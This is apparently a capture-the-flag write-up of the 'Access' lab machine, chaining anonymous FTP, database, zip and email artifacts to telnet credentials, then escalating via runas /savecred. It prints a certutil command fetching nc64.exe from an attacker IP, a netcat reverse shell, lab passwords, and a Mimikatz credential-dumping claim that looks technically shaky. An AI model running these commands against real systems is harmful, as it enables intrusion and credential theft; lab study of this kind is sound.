Target IP: 10.10.10.98

Initial Reconnaissance

Access is an old Windows box, and the port layout says so.

nmap -p- -sC -sV 10.10.10.98

21/tcp open  ftp     Microsoft ftpd  (Anonymous FTP login allowed)
23/tcp open  telnet
80/tcp open  http    Microsoft IIS httpd 7.5

Anonymous FTP was allowed, so that was the obvious first stop.

Anonymous FTP: a Database and a Locked Zip

FTP had two directories. Backups held a Microsoft Access database, and Engineer held a password-protected zip.

Backups/backup.mdb
Engineer/Access Control.zip

I pulled both down (remembering to switch to binary mode first).

Cracking the Chain: mdb -> zip -> pst

The .mdb opened with mdbtools, and one of its tables held an application password.

mdb-tables backup.mdb
mdb-export backup.mdb auth_user    # -> access4u@security

My first instinct with the zip was to crack it (zip2john plus john against rockyou), but it churned forever with no hit. Then I tried the string from the database, and it opened immediately. The .mdb password was reused as the zip password, so no cracking was needed after all.

7z x "Access Control.zip"          # password: access4u@security

Inside was an Outlook .pst file. Converting it to mbox exposed an email announcing a password change for the security account.

readpst "Access Control.pst"

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.

Telnet as security

Port 23 was waiting for exactly those credentials.

telnet 10.10.10.98
# login: security
# password: 4Cc3ssC0ntr0ller

C:\Users\security> type Desktop\user.txt

Privilege Escalation with runas /savecred

Looking around, the Public Desktop had a shortcut for a “ZKAccess” security application. Dumping its target revealed how it launched.

runas /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"

The /savecred flag means the administrator’s credentials are already stored in the Windows Credential Manager. I could reuse them to run anything as Administrator, no password required. I staged nc64.exe and launched a shell.

certutil -f -urlcache http://10.10.14.3:7777/nc64.exe C:\tools\nc64.exe
runas /savecred /user:ACCESS\Administrator "C:\tools\nc64.exe -e cmd.exe 10.10.14.3 4444"

The listener returned an Administrator shell and the root flag.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

As a bonus, those stored credentials are protected by DPAPI, and running Mimikatz’s sekurlsa::logonpasswords recovers the actual cleartext administrator password (55Acc3ssS3cur1ty@megacorp).

Takeaways

Access is a lesson in artifact chaining. No exploit is involved anywhere. A forgotten backup on anonymous FTP leads to a database password, which opens a zip, which contains an email with the next account’s password.

The privilege escalation is a great example of why /savecred is dangerous. A convenience shortcut that caches admin credentials effectively hands any local user a password-free path to Administrator.